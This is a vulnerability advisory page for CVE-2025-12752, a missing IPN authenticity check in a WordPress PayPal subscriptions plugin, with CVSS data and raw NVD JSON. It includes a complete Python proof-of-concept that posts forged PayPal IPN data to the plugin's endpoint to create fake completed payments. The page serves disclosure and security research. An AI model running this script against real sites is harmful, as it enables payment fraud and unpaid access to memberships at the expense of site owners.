Security Vulnerability Report
中文
CVE-2025-12752 CVSS 5.3 MEDIUM

CVE-2025-12752

Published: 2025-11-22 08:15:43
Last Modified: 2026-04-15 00:35:42

Description

The Subscriptions & Memberships for PayPal plugin for WordPress is vulnerable to fake payment creation in all versions up to, and including, 1.1.7. This is due to the plugin not properly verifying the authenticity of an IPN request. This makes it possible for unauthenticated attackers to create fake payment entries that have not actually occurred.

CVSS Details

CVSS Score
5.3
Severity
MEDIUM
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:L/A:N

Configurations (Affected Products)

No configuration data available.

Subscriptions & Memberships for PayPal ≤ 1.1.7(所有版本)

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
import requests import json # CVE-2025-12752 PoC - Fake PayPal IPN Request # Target: WordPress site with Subscriptions & Memberships for PayPal plugin <= 1.1.7 target_url = "https://vulnerable-site.com/" ipn_endpoint = target_url + "wp-content/plugins/subscriptions-memberships-for-paypal/includes/public_ipn.php" # Fake PayPal IPN data (simulating payment notification) fake_ipn_data = { "mc_gross": "99.00", "protection_eligibility": "Eligible", "payer_id": "ATTACKER123", "payment_date": "2025-11-22T10:00:00Z", "payment_fee": "2.97", "payment_gross": "99.00", "payment_status": "Completed", "txn_id": "FAKE_TRANSACTION_ID_" + str(hash(str(__import__("time").time()))), "txn_type": "web_accept", "item_name": "Premium Subscription", "item_number": "1", "custom": "user_id_1", "invoice": "INV-FAKE-001", "for_secondary": "0", "mc_currency": "USD", "verify_sign": "FAKE_SIGNATURE", "payer_status": "verified", "business": "[email protected]", "receiver_email": "[email protected]", "payer_email": "[email protected]", "first_name": "Attacker", "last_name": "Test", "address_name": "Attacker Test", "address_country": "United States", "address_country_code": "US", "address_zip": "10001", "address_state": "NY", "address_city": "New York", "address_street": "123 Fake Street" } print("[*] Sending fake PayPal IPN request...") print(f"[*] Target: {ipn_endpoint}") print(f"[*] Transaction ID: {fake_ipn_data['txn_id']}") try: response = requests.post(ipn_endpoint, data=fake_ipn_data, timeout=10) print(f"[*] Response Status: {response.status_code}") print(f"[*] Response Body: {response.text[:500]}") if response.status_code == 200: print("[+] Fake payment record created successfully!") except requests.exceptions.RequestException as e: print(f"[-] Error: {e}") print("\n[!] Note: This PoC is for educational and authorized testing purposes only.")

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2025-12752", "sourceIdentifier": "[email protected]", "published": "2025-11-22T08:15:42.953", "lastModified": "2026-04-15T00:35:42.020", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "The Subscriptions & Memberships for PayPal plugin for WordPress is vulnerable to fake payment creation in all versions up to, and including, 1.1.7. This is due to the plugin not properly verifying the authenticity of an IPN request. This makes it possible for unauthenticated attackers to create fake payment entries that have not actually occurred."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:L/A:N", "baseScore": 5.3, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "LOW", "availabilityImpact": "NONE"}, "exploitabilityScore": 3.9, "impactScore": 1.4}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-345"}]}], "references": [{"url": "https://plugins.trac.wordpress.org/browser/subscriptions-memberships-for-paypal/trunk/includes/public_ipn.php", "source": "[email protected]"}, {"url": "https://plugins.trac.wordpress.org/changeset?sfp_email=&sfph_mail=&reponame=&old=3397608%40subscriptions-memberships-for-paypal&new=3397608%40subscriptions-memberships-for-paypal&sfp_email=&sfph_mail=", "source": "[email protected]"}, {"url": "https://www.wordfence.com/threat-intel/vulnerabilities/id/8f706b78-2d67-442c-b7a0-7d7a0fd24b2d?source=cve", "source": "[email protected]"}]}}